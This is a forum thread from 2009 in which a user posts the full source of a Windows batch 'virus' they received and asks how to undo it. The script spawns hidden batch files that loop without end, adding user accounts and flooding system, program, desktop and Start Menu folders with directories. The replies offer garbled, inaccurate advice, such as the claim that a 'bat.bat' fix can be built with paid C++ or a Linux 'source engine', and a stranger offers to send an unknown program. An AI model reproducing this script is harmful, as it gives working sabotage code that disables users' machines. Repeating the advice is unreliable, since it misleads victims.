Go Back   Computer Forums > General Computing > Programming
Click Here to Login
Join Computer forums Today


Reply
 
Thread Tools Search this Thread Display Modes
 
Old 03-13-2009, 08:36 PM   #1
Daemon Poster
 
Join Date: Oct 2006
Posts: 684
Default virus

I was sent a virus and I was wondering if there is a reversal code to the virus shown below

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

riginal
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1
__________________

ringtemek is offline   Reply With Quote
Old 03-14-2009, 10:36 AM   #2
BSOD
 
jarlmaster47's Avatar
 
Join Date: Mar 2009
Posts: 248
Default Re: virus

Oh jeez thats a pretty bad virus there. If you have virus protection software I would imagine that would get rid of it. Otherwise you could always just run a bat.bat. Since the viral code doesn't that, you could cancel it out by running that. I ran a bat32.bat to get rid of a registry problem and it worked like a charm.
__________________

jarlmaster47 is offline   Reply With Quote
Old 03-14-2009, 11:11 AM   #3
Fully Optimized
 
eslfish's Avatar
 
Join Date: Sep 2008
Posts: 1,604
Send a message via AIM to eslfish Send a message via MSN to eslfish Send a message via Yahoo to eslfish
Default Re: virus

Have you ever tried Malwarebytes?
__________________
XFIRE: Lindmando STEAM: Lindmando
Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz (2 CPUs), ~3.0GHz
4094MB RAM 500 GB HD ATI Radeon™ HD 5850 8800 GT
Windows 7 64-bit Ultimate
eslfish is offline   Reply With Quote
Old 03-14-2009, 02:05 PM   #4
Daemon Poster
 
Join Date: Oct 2006
Posts: 684
Default Re: virus

i have anti virus software and it didn't detect the virus and i tried malwarebyte
ringtemek is offline   Reply With Quote
Old 03-14-2009, 05:19 PM   #5
BSOD
 
jarlmaster47's Avatar
 
Join Date: Mar 2009
Posts: 248
Default Re: virus

hmm... try running a bat.bat if you know how and see if that fixes the problem. Also for clarification what exactly has this virus done to your computer that you notice?
jarlmaster47 is offline   Reply With Quote
Old 03-14-2009, 05:53 PM   #6
Daemon Poster
 
Join Date: Oct 2006
Posts: 684
Default Re: virus

Quote:
Originally Posted by jarlmaster47 View Post
hmm... try running a bat.bat if you know how and see if that fixes the problem. Also for clarification what exactly has this virus done to your computer that you notice?
how do i do that, it created a bunch of folders in my windows, program files, desktop, and start menu directory which i fixed and the problem i can't fix is it creating user accounts becuase after i delete them they come back on restart i looked at the services and msconfig and i didn't find anything
ringtemek is offline   Reply With Quote
Old 03-14-2009, 06:14 PM   #7
BSOD
 
jarlmaster47's Avatar
 
Join Date: Mar 2009
Posts: 248
Default Re: virus

Quote:
Originally Posted by ringtemek View Post
how do i do that, it created a bunch of folders in my windows, program files, desktop, and start menu directory which i fixed and the problem i can't fix is it creating user accounts becuase after i delete them they come back on restart i looked at the services and msconfig and i didn't find anything
That's bad! To make a bat.bat you can either use C++, which is 20 USD or what I prefer Python, which is free or you can use Linux which has a free source engine that you can use to make a bat.bat as well. The 2 other options you have of getting rid of this virus is to either take into to someone or wipe your hard drive.
jarlmaster47 is offline   Reply With Quote
Old 03-14-2009, 06:31 PM   #8
Daemon Poster
 
Join Date: Oct 2006
Posts: 684
Default Re: virus

would vb 2008 work and how would i make it
ringtemek is offline   Reply With Quote
Old 03-14-2009, 07:19 PM   #9
BSOD
 
jarlmaster47's Avatar
 
Join Date: Mar 2009
Posts: 248
Default Re: virus

I am not familiar with vb 2008 sorry. Maybe someone else on the forum is. Don't give up dude and I might be able to make you a bat.bat for you myself.
jarlmaster47 is offline   Reply With Quote
Old 03-19-2009, 10:30 AM   #10
Beta Member
 
Join Date: Mar 2009
Posts: 2
Default Re: virus

i have a prgram on my computer i made tht can fix tht bc it happened to me too is there a way i could send it to you ?
__________________

lxbinghamxl is offline   Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off



All times are GMT -5. The time now is 01:01 AM.


Powered by vBulletin® Version 3.8.8 Beta 4
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO 3.6.0